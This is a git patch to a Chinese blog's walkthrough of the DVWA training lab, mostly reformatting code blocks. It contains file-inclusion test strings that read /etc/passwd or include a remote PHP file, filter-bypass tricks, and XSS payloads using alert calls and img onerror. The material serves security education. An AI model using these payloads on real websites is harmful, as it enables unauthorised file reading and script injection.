From 640d4e150f62ffca4d2e89b574099a0339ca4af1 Mon Sep 17 00:00:00 2001
From: Cool-Y <1072916769@qq.com>
Date: Wed, 24 Jul 2019 14:01:24 +0800
Subject: [PATCH] NEW
---
source/_posts/web-dvwa.md | 36 +++++++++++++++++++-----------------
source/_posts/获取固件.md | 2 +-
2 files changed, 20 insertions(+), 18 deletions(-)
diff --git a/source/_posts/web-dvwa.md b/source/_posts/web-dvwa.md
index fd0c2700..80c64207 100644
--- a/source/_posts/web-dvwa.md
+++ b/source/_posts/web-dvwa.md
@@ -276,21 +276,22 @@ $file = $_GET[ 'page' ];
```
文件包含漏洞的一般特征如下:
-
+```
?page=a.php
?home=a.html
?file=content
-
+```
几种经典的测试方法:
-
+```
?file=../../../../../etc/passwdd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
=http://1.1.1.1/../../../../dir/file.txt
(通过多个../可以让目录回到根目录中然后再进入目标目录)
+```
## medium模式
增加对绝对路径http和相对路径的检查
@@ -301,9 +302,9 @@ $file = str_replace( array( "../", "..\"" ), "", $file );
```
但依然可以使用?page=file:///etc/passwd
以及重复字符过滤方法,构造url
-1. 构造url为httphttp:// --> http
-2. 构造url为httphttp://:// -->http://
-3. 构造url为..././ --> ../
+1. 构造url为 httphttp:// --> http
+2. 构造url为 httphttp://:// -->http://
+3. 构造url为 ..././ --> ../
# 文件上传
## easy模式
@@ -459,7 +460,7 @@ Surname: Smith
4.猜解表中的字段名
5.猜解数据
-```
+```php
基于DOM的XSS是一个特殊情况,反映了JavaScript隐藏在URL中并在呈现时由页面中的JavaScript拉出而不是在服务时嵌入页面中。这可能使其比其他攻击更隐蔽,并且正在阅读页面主体的WAF或其他保护措施看不到任何恶意内容。
查看页面源代码
-```
+```script
`
2. 方法2
或者就是用img标签或其他标签的特性去执行js代码,比如img标签的onerror事件,构造连接(通过加载一个不存在的图片出错出发javascript onerror事件,继续弹框,证明出来有xss)
-`http://192.168.31.84:81/vulnerabilities/xss_d/?default=English%3E/option%3E%3C/select%3E%3Cimg%20src=#%20onerror=alert(/xss/)%3E'
+```http://192.168.31.84:81/vulnerabilities/xss_d/?default=English%3E/option%3E%3C/select%3E%3Cimg%20src=#%20onerror=alert(/xss/)%3E```
# 反射型xss
## easy模式
@@ -610,13 +611,14 @@ http://192.168.31.84:81/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(%27xss%27)
$name = str_replace( '
-或者嵌套ipt>alert('xss')
+改成大写就可以了````
+或者嵌套``ipt>alert('xss')``
但对name审查没有这么严格,同样可以采用嵌套或大小写的方法:
+```
ipt>alert('fuck')
-
+```
# 存储型xss
@@ -630,7 +632,7 @@ str_replace这个函数是不区分大小写的,而且只替换一次
查看源码
trim是去除掉用户输入内容前后的空格。stripslashes是去除反斜杠,两个只会去除一个。mysqli_real_escap_string过滤掉内容中特殊字符,像x00,n,r,,',",x1a等,来预防数据库攻击。
-```
+```php
" (大于)转换为 HTML 实体:
* $name = str_replace( '